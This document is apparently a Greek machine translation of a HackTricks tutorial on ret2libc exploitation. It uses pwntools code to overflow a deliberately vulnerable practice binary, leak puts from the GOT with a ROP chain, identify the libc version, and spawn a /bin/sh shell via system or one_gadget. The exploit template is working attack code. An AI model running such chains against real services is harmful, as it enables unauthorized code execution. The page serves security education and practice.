Leaking libc address with ROP

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (Ειδικός Red Team του HackTricks AWS)!

Άλλοι τρόποι υποστήριξης του HackTricks:

Γρήγορη Περίληψη

  1. Βρείτε την ανακοχή υπερχείλισης

  2. Βρείτε το gadget POP_RDI, τα gadgets PUTS_PLT και MAIN

  3. Χρησιμοποιήστε τα προηγούμενα gadgets για να διαρρεύσετε τη διεύθυνση μνήμης της puts ή μιας άλλης συνάρτησης της libc και βρείτε την έκδοση της libc (κατεβάστε την)

  4. Με τη βιβλιοθήκη, υπολογίστε το ROP και εκμεταλλευτείτε το

Άλλα εκπαιδευτικά μαθήματα και δυαδικά για εξάσκηση

Αυτό το εκπαιδευτικό μάθημα θα εκμεταλλευτεί τον κώδικα/δυαδικό που προτείνεται σε αυτό το μάθημα: https://tasteofsecurity.com/security/ret2libc-unknown-libc/ Άλλα χρήσιμα μαθήματα: https://made0x78.com/bseries-ret2libc/, https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html

Κώδικας

Όνομα αρχείου: vuln.c

#include <stdio.h>

int main() {
char buffer[32];
puts("Simple ROP.\n");
gets(buffer);

return 0;
}
gcc -o vuln vuln.c -fno-stack-protector -no-pie

Πρότυπο διαρροής LIBC με ROP

Κατεβάστε το exploit και τοποθετήστε το στον ίδιο φάκελο με το ευπαθές δυαδικό αρχείο και δώστε τα απαιτούμενα δεδομένα στο σενάριο:

pageLeaking libc - template

1- Εύρεση της μετατόπισης

Το πρότυπο χρειάζεται μια μετατόπιση πριν συνεχίσει με την εκμετάλλευση. Αν δεν παρέχεται κάποια, θα εκτελέσει τον απαραίτητο κώδικα για να τη βρει (προεπιλεγμένα OFFSET = ""):

###################
### Find offset ###
###################
OFFSET = ""#"A"*72
if OFFSET == "":
gdb.attach(p.pid, "c") #Attach and continue
payload = cyclic(1000)
print(r.clean())
r.sendline(payload)
#x/wx $rsp -- Search for bytes that crashed the application
#cyclic_find(0x6161616b) # Find the offset of those bytes
return

Εκτελέστε python template.py θα ανοίξει μια κονσόλα GDB με το πρόγραμμα να καταρρέει. Μέσα σε αυτή τη κονσόλα GDB εκτελέστε x/wx $rsp για να λάβετε τα bytes που θα αντικαταστήσουν το RIP. Τέλος, πάρτε το offset χρησιμοποιώντας μια κονσόλα python:

from pwn import *
cyclic_find(0x6161616b)

Αφού βρείτε τη μετατόπιση (σε αυτήν την περίπτωση 40), αλλάξτε τη μεταβλητή OFFSET μέσα στο πρότυπο χρησιμοποιώντας αυτήν την τιμή. OFFSET = "A" * 40

Μια άλλη μέθοδος θα ήταν να χρησιμοποιήσετε: pattern create 1000 -- εκτέλεση μέχρι το ret -- pattern search $rsp από το GEF.

2- Εύρεση Gadgets

Τώρα πρέπει να βρούμε ROP gadgets μέσα στο δυαδικό αρχείο. Αυτά τα ROP gadgets θα είναι χρήσιμα για να καλέσουμε τη συνάρτηση puts για να βρούμε τη libc που χρησιμοποιείται, και αργότερα για να εκτελέσουμε την τελική εκμετάλλευση.

PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
MAIN_PLT = elf.symbols['main']
POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi"
RET = (rop.find_gadget(['ret']))[0]

log.info("Main start: " + hex(MAIN_PLT))
log.info("Puts plt: " + hex(PUTS_PLT))
log.info("pop rdi; ret  gadget: " + hex(POP_RDI))

Το PUTS_PLT χρειάζεται για να καλέσει τη συνάρτηση puts. Το MAIN_PLT χρειάζεται για να καλέσει τη κύρια συνάρτηση ξανά μετά από μια αλληλεπίδραση για να εκμεταλλευτεί την υπερχείλιση ξανά (άπειροι γύροι εκμετάλλευσης). Χρησιμοποιείται στο τέλος κάθε ROP για να καλέσει το πρόγραμμα ξανά. Το POP_RDI χρειάζεται για να περάσει ένα παράμετρο στην κληθείσα συνάρτηση.

Σε αυτό το στάδιο δεν χρειάζεται να εκτελέσετε τίποτα καθώς τα πάντα θα βρεθούν από το pwntools κατά την εκτέλεση.

3- Εύρεση βιβλιοθήκης libc

Τώρα είναι η ώρα να βρούμε ποια έκδοση της βιβλιοθήκης libc χρησιμοποιείται. Για να το κάνουμε αυτό, θα διαρρεύσουμε τη διεύθυνση στη μνήμη της συνάρτησης puts και στη συνέχεια θα ψάξουμε σε ποια έκδοση βιβλιοθήκης βρίσκεται η έκδοση του puts σε αυτή τη διεύθυνση.

def get_addr(func_name):
FUNC_GOT = elf.got[func_name]
log.info(func_name + " GOT @ " + hex(FUNC_GOT))
# Create rop chain
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)

#Send our rop-chain payload
#p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment
print(p.clean()) # clean socket buffer (read all and print)
p.sendline(rop1)

#Parse leaked address
recieved = p.recvline().strip()
leak = u64(recieved.ljust(8, "\x00"))
log.info("Leaked libc address,  "+func_name+": "+ hex(leak))
#If not libc yet, stop here
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))

return hex(leak)

get_addr("puts") #Search for puts address in memmory to obtains libc base
if libc == "":
print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)")
p.interactive()

Για να το κάνετε αυτό, η πιο σημαντική γραμμή του εκτελούμενου κώδικα είναι:

rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)

Αυτό θα στείλει μερικά bytes μέχρι να είναι δυνατή η αντικατάσταση του RIP: OFFSET. Στη συνέχεια, θα ορίσει τη διεύθυνση του gadget POP_RDI ώστε η επόμενη διεύθυνση (FUNC_GOT) να αποθηκευτεί στον κατάλογο RDI. Αυτό γίνεται επειδή θέλουμε να καλέσουμε την puts περνώντας την διεύθυνση του PUTS_GOT ως τη διεύθυνση στη μνήμη της συνάρτησης puts που αποθηκεύεται στη διεύθυνση που δείχνει το PUTS_GOT. Στη συνέχεια, θα κληθεί το PUTS_PLT (με το PUTS_GOT μέσα στον κατάλογο RDI) έτσι ώστε η puts να διαβάσει το περιεχόμενο μέσα στο PUTS_GOT (η διεύθυνση της συνάρτησης puts στη μνήμη) και θα το εκτυπώσει. Τέλος, καλείται ξανά η κύρια συνάρτηση ώστε να μπορέσουμε να εκμεταλλευτούμε ξανά την υπερχείλιση.

Με αυτόν τον τρόπο έχουμε εξαπατήσει τη συνάρτηση puts να εκτυπώσει τη διεύθυνση στη μνήμη της συνάρτησης puts (που βρίσκεται μέσα στη βιβλιοθήκη libc). Τώρα που έχουμε αυτήν τη διεύθυνση μπορούμε να αναζητήσουμε ποια έκδοση της libc χρησιμοποιείται.

Καθώς εκμεταλλευόμαστε ένα τοπικό δυαδικό αρχείο, δεν είναι απαραίτητο να βρούμε ποια έκδοση της libc χρησιμοποιείται (απλά βρείτε τη βιβλιοθήκη στο /lib/x86_64-linux-gnu/libc.so.6). Ωστόσο, σε ένα περίπτωση απομακρυσμένης εκμετάλλευσης θα εξηγήσω εδώ πώς μπορείτε να το βρείτε:

3.1- Αναζήτηση για έκδοση libc (1)

Μπορείτε να αναζητήσετε ποια βιβλιοθήκη χρησιμοποιείται στην ιστοσελίδα: https://libc.blukat.me/ Θα σας επιτρέψει επίσης να κατεβάσετε την ανακαλυφθείσα έκδοση της libc

3.2- Αναζήτηση για έκδοση libc (2)

Μπορείτε επίσης να κάνετε:

  • $ git clone https://github.com/niklasb/libc-database.git

  • $ cd libc-database

  • $ ./get

Αυτό θα πάρει λίγο χρόνο, είστε υπομονετικοί. Για να λειτουργήσει αυτό, χρειαζόμαστε:

  • Όνομα συμβόλου Libc: puts

  • Διευρυμένη διεύθυνση Libc: 0x7ff629878690

Μπορούμε να καταλάβουμε ποια libc πιθανότατα χρησιμοποιείται.

./find puts 0x7ff629878690
ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
archive-glibc (id libc6_2.23-0ubuntu11_amd64)

Λαμβάνουμε 2 αντιστοιχίσεις (θα πρέπει να δοκιμάσετε τη δεύτερη αν η πρώτη δεν λειτουργεί). Κατεβάστε την πρώτη:

./download libc6_2.23-0ubuntu10_amd64
Getting libc6_2.23-0ubuntu10_amd64
-> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb
-> Downloading package
-> Extracting package
-> Package saved to libs/libc6_2.23-0ubuntu10_amd64

Αντιγράψτε το libc από libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so στον τρέχοντα κατάλογο μας.

3.3- Άλλες συναρτήσεις για διαρροή

puts
printf
__libc_start_main
read
gets

4- Εύρεση βασισμένης διεύθυνσης της βιβλιοθήκης libc & εκμετάλλευση

Σε αυτό το σημείο πρέπει να γνωρίζουμε τη βιβλιοθήκη libc που χρησιμοποιείται. Καθώς εκμεταλλευόμαστε ένα τοπικό δυαδικό αρχείο, θα χρησιμοποιήσω απλώς: /lib/x86_64-linux-gnu/libc.so.6

Έτσι, στην αρχή του template.py αλλάξτε τη μεταβλητή libc σε: libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Ορίστε τη διαδρομή της βιβλιοθήκης όταν την γνωρίζετε

Δίνοντας τη διαδρομή προς τη βιβλιοθήκη libc, το υπόλοιπο του exploit θα υπολογιστεί αυτόματα.

Μέσα στη συνάρτηση get_addr θα υπολογιστεί η βασική διεύθυνση της βιβλιοθήκης libc:

if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))

Σημειώστε ότι η τελική βάση διεύθυνσης της libc πρέπει να τελειώνει σε 00. Αν αυτό δεν ισχύει στην περίπτωσή σας, ενδέχεται να έχετε διαρρεύσει μια εσφαλμένη βιβλιοθήκη.

Στη συνέχεια, η διεύθυνση της συνάρτησης system και η διεύθυνση του string "/bin/sh" θα υπολογιστούν από τη βάση της libc και δεδομένης της βιβλιοθήκης libc.

BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh
SYSTEM = libc.sym["system"]
EXIT = libc.sym["exit"]

log.info("bin/sh %s " % hex(BINSH))
log.info("system %s " % hex(SYSTEM))

Τέλος, το exploit εκτέλεσης του /bin/sh θα προετοιμαστεί για αποστολή:

rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT)

p.clean()
p.sendline(rop2)

#### Interact with the shell #####
p.interactive() #Interact with the conenction

Ας εξηγήσουμε αυτό το τελικό ROP. Το τελευταίο ROP (rop1) τελείωσε καλώντας ξανά τη συνάρτηση main, οπότε μπορούμε να εκμεταλλευτούμε ξανά το overflow (γι' αυτό είναι ξανά εδώ το OFFSET). Στη συνέχεια, θέλουμε να καλέσουμε το POP_RDI δείχνοντας στη διεύθυνση του "/bin/sh" (BINSH) και να καλέσουμε τη συνάρτηση system (SYSTEM) επειδή η διεύθυνση του "/bin/sh" θα περάσει ως παράμετρος. Τέλος, καλείται η διεύθυνση της συνάρτησης exit έτσι ώστε η διαδικασία να τερματιστεί κανονικά και να μην παράγεται κανένα συναγερμός.

Με αυτόν τον τρόπο το exploit θα εκτελέσει ένα _/bin/sh_** shell.**

4(2)- Χρησιμοποιώντας ONE_GADGET

Θα μπορούσατε επίσης να χρησιμοποιήσετε το ONE_GADGET για να αποκτήσετε ένα shell αντί να χρησιμοποιήσετε το system και το "/bin/sh". Το ONE_GADGET θα βρει μέσα στη βιβλιοθήκη libc κάποιον τρόπο να αποκτήσετε ένα shell χρησιμοποιώντας μόνο μια διεύθυνση ROP. Ωστόσο, συνήθως υπάρχουν κάποιοι περιορισμοί, οι πιο συνηθισμένοι και εύκολοι να αποφευχθούν είναι όπως [rsp+0x30] == NULL. Καθώς ελέγχετε τις τιμές μέσα στο RSP, απλά πρέπει να στείλετε μερικές περισσότερες τιμές NULL ώστε ο περιορισμός να αποφευχθεί.

ONE_GADGET = libc.address + 0x4526a
rop2 = base + p64(ONE_GADGET) + "\x00"*100

ΑΡΧΕΙΟ EXPLOIT

Μπορείτε να βρείτε ένα πρότυπο για την εκμετάλλευση αυτής της ευπάθειας εδώ:

pageLeaking libc - template

Συνηθισμένα προβλήματα

MAIN_PLT = elf.symbols['main'] δεν βρέθηκε

Αν το σύμβολο "main" δεν υπάρχει. Τότε μπορείτε να βρείτε πού βρίσκεται ο κώδικας του main:

objdump -d vuln_binary | grep "\.text"
Disassembly of section .text:
0000000000401080 <.text>:

και ορίστε τη διεύθυνση χειροκίνητα:

MAIN_PLT = 0x401080

Η συνάρτηση Puts δεν βρέθηκε

Αν το δυαδικό αρχείο δεν χρησιμοποιεί τη συνάρτηση Puts, πρέπει να ελέγξετε αν χρησιμοποιεί

sh: 1: %s%s%s%s%s%s%s%s: not found

Αν βρείτε αυτό το σφάλμα μετά τη δημιουργία όλων των εκμεταλλεύσεων: sh: 1: %s%s%s%s%s%s%s%s: not found

Δοκιμάστε να αφαιρέσετε 64 bytes από τη διεύθυνση του "/bin/sh":

BINSH = next(libc.search("/bin/sh")) - 64
Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι υποστήριξης του HackTricks:

Last updated